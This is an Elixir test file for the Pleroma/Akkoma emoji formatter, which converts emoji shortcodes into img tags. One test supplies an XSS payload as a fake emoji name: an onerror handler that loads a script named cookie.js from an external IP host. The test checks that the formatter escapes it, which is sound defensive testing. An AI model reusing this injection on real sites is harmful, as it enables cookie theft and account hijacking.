akkoma/test/emoji/formatter_test.exs

# Pleroma: A lightweight social networking server
# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
# SPDX-License-Identifier: AGPL-3.0-only

defmodule Pleroma.Emoji.FormatterTest do
  alias Pleroma.Emoji
  alias Pleroma.Emoji.Formatter
  use Pleroma.DataCase

  describe "emojify" do
    test "it adds cool emoji" do
      text = "I love :firefox:"

      expected_result =
        "I love <img class=\"emoji\" alt=\"firefox\" title=\"firefox\" src=\"/emoji/Firefox.gif\"/>"

      assert Formatter.emojify(text) == expected_result
    end

    test "it does not add XSS emoji" do
      text =
        "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"

      custom_emoji =
        {
          "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)",
          "https://placehold.it/1x1"
        }
        |> Pleroma.Emoji.build()

      refute Formatter.emojify(text, [{custom_emoji.code, custom_emoji}]) =~ text
    end
  end

  describe "get_emoji" do
    test "it returns the emoji used in the text" do
      text = "I love :firefox:"

      assert Formatter.get_emoji(text) == [
               {"firefox",
                %Emoji{
                  code: "firefox",
                  file: "/emoji/Firefox.gif",
                  tags: ["Gif", "Fun"],
                  safe_code: "firefox",
                  safe_file: "/emoji/Firefox.gif"
                }}
             ]
    end

    test "it returns a nice empty result when no emojis are present" do
      text = "I love moominamma"
      assert Formatter.get_emoji(text) == []
    end

    test "it doesn't die when text is absent" do
      text = nil
      assert Formatter.get_emoji(text) == []
    end
  end
end